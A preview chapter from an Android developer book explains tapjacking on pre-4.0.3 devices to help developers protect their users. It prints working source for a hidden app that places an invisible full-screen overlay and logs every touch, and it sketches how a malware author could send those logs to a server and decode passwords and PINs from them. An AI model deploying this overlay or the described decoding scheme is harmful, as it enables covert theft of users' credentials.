The following is the first few sections of a chapter from The Busy Coder's Guide to Android Development, plus headings for the remaining major sections, to give you an idea about the content of the chapter.


Tapjacking

On the whole, Android’s security is fairly good for defending an app from another app. Between using Linux users and filesystems for protecting an application’s files from other apps, to the use of custom permissions to control access to public interfaces, an application would seem to be relatively protected.

However, there is one attack vector that existed until Android 4.0.3: tapjacking. This chapter outlines what tapjacking is and what you can do about it to protect your app’s users, for as long as you are supporting devices older than 4.0.3.

Prerequisites

Understanding this chapter requires that you have read the chapters on:

What is Tapjacking?

Tapjacking refers to another program intercepting and inspecting touch events that are delivered to your foreground activity (or related artifacts, such as the input method editor). At its worst, tapjackers could intercept passwords, PINs, and other private data.

The term “tapjacking” seems to have been coined by Lookout Mobile Security, in a blog post that originally demonstrated this issue.

You might be wondering how this is possible. There are a handful of approaches to implementing this. The Lookout blog post cited perhaps the least useful approach: making a transparent Toast. The Tapjacking/Jackalope sample application will illustrate a far more troublesome implementation.

World War Z (Axis)

You may recall that there are three axes to consider with Android user interfaces. The X and Y axes are the ones you typically think about, as they control the horizontal and vertical positioning of widgets in an activity. The Z axis — effectively “coming out the screen towards the user’s eyes” — can be used in applications for sophisticated techniques, such as a pop-up panel.

Normally, you think of the Z axis within the scope of your activity and its widgets. However, there are ways to display “system alerts” – widgets that can float over the top of any activity. A Toast is the one you are familiar with, most likely. A Toast displays something on the screen, yet touch events on the Toast itself will be passed through to the underlying activity. Lookout demonstrated that it is possible to create a fully-transparent Toast. However, the lifetime of a Toast is limited (3.5 seconds maximum), which would limit how long it can try to grab touch events.

However, any application holding the SYSTEM_ALERT_WINDOW permission can display their own “system alerts” with custom look and custom duration. By making one that is fully transparent and lives as long as possible, a tapjacker can obtain touch events for any application in the system, including lock screens, home screens, and any standard activity.

Enter the Jackalope

To demonstrate this, let’s take a look at the Jackalope sample application. It consists of a tiny activity and a service, with the service doing most of the work.

The activity employs Theme.NoDisplay:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      android:versionCode="1"
      android:versionName="1.0" package="com.commonsware.android.tj.jackalope">
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <application android:label="Jackalope">
        <activity android:name=".Jackalope"
                    android:theme="@android:style/Theme.NoDisplay">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name=".Tapjacker" />
    </application>
</manifest>

The activity then just starts up the service and finishes:

package com.commonsware.android.tj.jackalope;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class Jackalope extends Activity {
  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    
    startService(new Intent(this, Tapjacker.class));
    finish();
  }
}

The visible effect is… nothing. Tapping the icon in the launcher appears to have no effect, but it does actually start up the tapjacker. You just cannot see it.

The Tapjacker service does its evil work in a handful of lines of code:

package com.commonsware.android.tj.jackalope;

import android.app.Service;
import android.content.Intent;
import android.graphics.PixelFormat;
import android.os.IBinder;
import android.util.Log;
import android.view.Gravity;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;

public class Tapjacker extends Service implements View.OnTouchListener {
  private View v=null;
  private WindowManager mgr=null;
  
  @Override
  public void onCreate() {
    super.onCreate();
    
    v=new View(this);
    v.setOnTouchListener(this);
    mgr=(WindowManager)getSystemService(WINDOW_SERVICE);
    
    WindowManager.LayoutParams params
      =new WindowManager.LayoutParams(
        WindowManager.LayoutParams.FILL_PARENT,
        WindowManager.LayoutParams.FILL_PARENT,
        WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY,
        WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH,
        PixelFormat.TRANSPARENT);
      
    params.gravity=Gravity.FILL_HORIZONTAL|Gravity.FILL_VERTICAL;
    mgr.addView(v, params);
    
    // stopSelf(); -- uncomment for "component-less" operation
  }

  @Override
  public IBinder onBind(Intent intent) {
    return(null);
  }

  @Override
  public void onDestroy() {
    mgr.removeView(v);  // comment out for "component-less" operation
    
    super.onDestroy();
  }

  public boolean onTouch(View v, MotionEvent event) {
    Log.w("Tapjacker",
          String.valueOf(event.getX())+":"+String.valueOf(event.getY()));
    
    return(false);
  }
}

In onCreate(), we create an invisible View in Java code. Note that while you normally create a widget by passing in the Activity to the constructor, any Context will work, and so here we use the Tapjacker service itself.

Then, we access the WindowManager system service and add the invisible View to the system. To do this, we need to supply a WindowManager.LayoutParams object, much like you might use LinearLayout.LayoutParams or RelativeLayout.LayoutParams when putting a View inside of one of those containers. In this case, we:

  1. Say that the View is to fill the screen
  2. Indicates that the View is to be treated as a “system overlay” (TYPE_SYSTEM_OVERLAY), which will be at the top of the Z axis, floating above anything else (activities, dialogs, etc.)
  3. Indicates that we are to receive touch events that are beyond the View itself (FLAG_WATCH_OUTSIDE_TOUCH), such as on the system bar in API Level 11+ devices

We attach the Tapjacker service itself as the OnTouchListener to the View, and simply log all touch events to LogCat. In onDestroy(), we remove the system overlay View.

The result is that every screen tap results in an entry in LogCat – including data entry via the soft keyboard — even though the user is unaware that anything might be intercepting these events.

Note, though, that this does not intercept regular key events, including those from hardware keyboards. Also note that this does not magically give the malware author access to data entered before the tapjacker was set up. Hence, even if the tapjacker can sniff a password, if they do not know the account name, the user may still be safe.

Thinking Like a Malware Author

So, you have touch events. On the surface, this might not seem terribly useful, since the View cannot see what is being tapped upon.

However, a savvy malware author would identify what activity is in the foreground and log that information along with the tap details and the screen size, periodically dumping that information to some server. The malware author can then scan the touch event dumps to see what interesting applications are showing up. With a minor investment – and possibly collaboration with other malware authors — the author can know what touch events correspond to what keys on various input method editors, including the stock keyboards used by a variety of devices. Loading a pirated version of the APK on an emulator can indicate which activity has the password, PIN, or other secure data. Then, it is merely a matter of identifying the touch events applied to that activity and matching them up with the soft keyboard to determine what the user has entered. Over time, the malware author can perhaps develop a script to help automate this conversion.

Hence, the on-device tapjacker does not have to be very sophisticated, other than trying to avoid detection by the user. All of the real work to leverage the intercepted touch events can be handled offline.

Detecting Potential Tapjackers

The preview of this section is out seeking fame and fortune as the Dread Pirate Roberts.

Defending Against Tapjackers

The preview of this section may contain nuts.

Why Is This Being Discussed?

The preview of this section was traded for a bag of magic beans.

What Changed in 4.0.3?

The preview of this section was stepped on by Godzilla.